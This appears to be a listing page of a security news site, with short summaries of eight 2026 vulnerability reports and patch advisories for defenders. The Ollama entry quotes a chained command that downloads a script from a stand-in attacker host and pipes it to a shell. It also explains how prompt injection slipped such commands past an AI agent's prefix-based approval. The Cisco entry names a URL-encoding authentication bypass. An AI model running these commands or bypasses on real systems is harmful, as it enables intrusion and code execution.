Latest cybersecurity dispatches

Fresh reporting on active vulnerabilities, security patches, incident response, and threat research for defenders.

Articles: 407
Page: 24 / 51
Desks: 9

Data graphic: Apple's CoreGraphics zero-day CVE-2026-86950 , an out-of-bounds write that lets a crafted file run code on iPhone, iPad and Mac, scores CVSS 3.1 8.8 and is exploited per CISA KEV. Fixes are iOS, iPadOS and macOS Tahoe 26.7.1 and macOS Sequoia 15.8.1, with a CISA KEV deadline of 2 Oct.

highExploits Cve 2026 86950

Apple Patches CoreGraphics Zero-Day Used Against Targeted iPhone Users

CVE-2026-86950, a CoreGraphics out-of-bounds write hit via a crafted file, was exploited on iOS before 27. Update to iOS 26.7.1, macOS 26.7.1 or 15.8.1.

Oct 2 · 6 min

Data graphic: the word APPROVED struck through under the headline 'Ollama: one yes, any command', above the command 'cat src/util.go; curl -s https://attacker.example/x | sh' that ran with no prompt. CVSS v4.0 8.5 High, fixed in 0.31.2 on 6 Jul 2026, no exploitation reported.

highAI Security Cve 2026 102697

Ollama's Agent Mode Approved Bash Commands by Prefix, So Prompt Injection Could Chain Its Own (CVE-2026-102697)

Ollama 0.14.0 to 0.31.1 approved agent shell commands by their first word, so injected text could chain extra commands past the prompt. Fixed in 0.31.2.

Oct 2 · 6 min

Data graphic: a timeline of WordPress core flaw CVE-2026-87902 CVSS 4.0 9.2 , zooming into 22 September, the day the fix shipped in 25 releases. Patchstack logged the first exploit attempt at 11:49 UTC and the first pearcmd.php file-write attempt at 15:34 UTC that same day; the bug had been reported 64 days earlier on 20 July, and CISA added it to KEV on 25 September with a 28 September deadline.

highExploits Cve 2026 87902

WordPress Core Flaw CVE-2026-87902 Drew Exploit Attempts on Patch Day

A WordPress core path traversal, CVE-2026-87902, can reach RCE through pearcmd.php. Probes began the day the fix shipped and CISA lists it as exploited.

Oct 2 · 7 min

Data graphic: a huge red 61 over a halftone field, for the 61 days Check Point management servers were exploited through CVE-2026-93616 before a fix. First attacks 23 Jul; fix and CISA KEV listing of both CVEs 22 Sep; CVSS 9.8.

criticalExploits Cve 2026 93616

Check Point Management Servers Were a Zero-Day for Two Months Before the Fix

Attackers exploited Check Point CVE-2026-93616 for root on management servers from 23 July; the fix came 22 September, alongside gateway VPN bug CVE-2026-85102.

Oct 2 · 6 min

Data graphic: the mcp-atlassian MCP server flaw CVE-2026-77244 is rated CVSS 10.0 because its HTTP transport let anyone on the network act as the operator. "Fixed in 0.22.0" is struck through and corrected to "Run 0.23.1", since the SSE transport kept the same bypass until 19 Aug; versions before 0.22.0 are affected and no exploitation has been reported.

highAI Security Cve 2026 77244

MCP Atlassian Server Let Anyone on the Network Act as the Operator in Jira and Confluence

CVE-2026-77244 (CVSS 10.0): mcp-atlassian's HTTP transport ran unauthenticated requests with the operator's Atlassian token. Upgrade to 0.23.1.

Oct 2 · 7 min

Data graphic: A critical-rated Cisco Catalyst SD-WAN Manager zero-day, CVE-2026-76504 CVSS 9.8 , shown as an attack path. A crafted request to POST /%6a_security_check, where %6a decodes to j, never matches the authentication rule and gets unauthenticated admin API access. CISA added it to KEV on 30 Sep with a 3 Oct deadline, and there is no workaround.

criticalExploits Cve 2026 76504

Cisco SD-WAN Manager Zero-Day CVE-2026-76504: One Encoded Character Unlocks the Admin API

CVE-2026-76504 lets an unauthenticated attacker URL-encode one character to slip past Cisco SD-WAN Manager API login as admin. Exploited; no workaround.

Oct 2 · 5 min

Data graphic: poster 'FortiMail patched: check for compromise', CVSS 9.8; fixed builds 8.0.2, 7.6.7 and 7.4.9; FortiMail 7.2 gets no fix; still exploited and on the CISA KEV catalog.

criticalExploits Cve 2026 104286

Exploited FortiMail Flaw Now Patched: Check for Compromise First

Fortinet released FortiMail 8.0.2, 7.6.7 and 7.4.9 for exploited CVE-2026-104286 (CVSS 9.8). Check for compromise before upgrading; 7.2 gets no fix.

Oct 2 · 6 min

Data graphic: NetScaler zero-days, patch then hunt. Both flaws score CVSS 4.0 9.5 and are stamped exploited CISA KEV, 27 Sep ; 50,277 exposed instances; CISA KEV deadline 30 Sep.

criticalExploits Cve 2026 88771

Citrix NetScaler Zero-Days Planted Webshells Weeks Before the Patch

Two pre-auth NetScaler ADC and Gateway flaws, CVE-2026-88771 and CVE-2026-88772, were exploited for weeks before the fix. Patch, then hunt for webshells.

Oct 2 · 10 min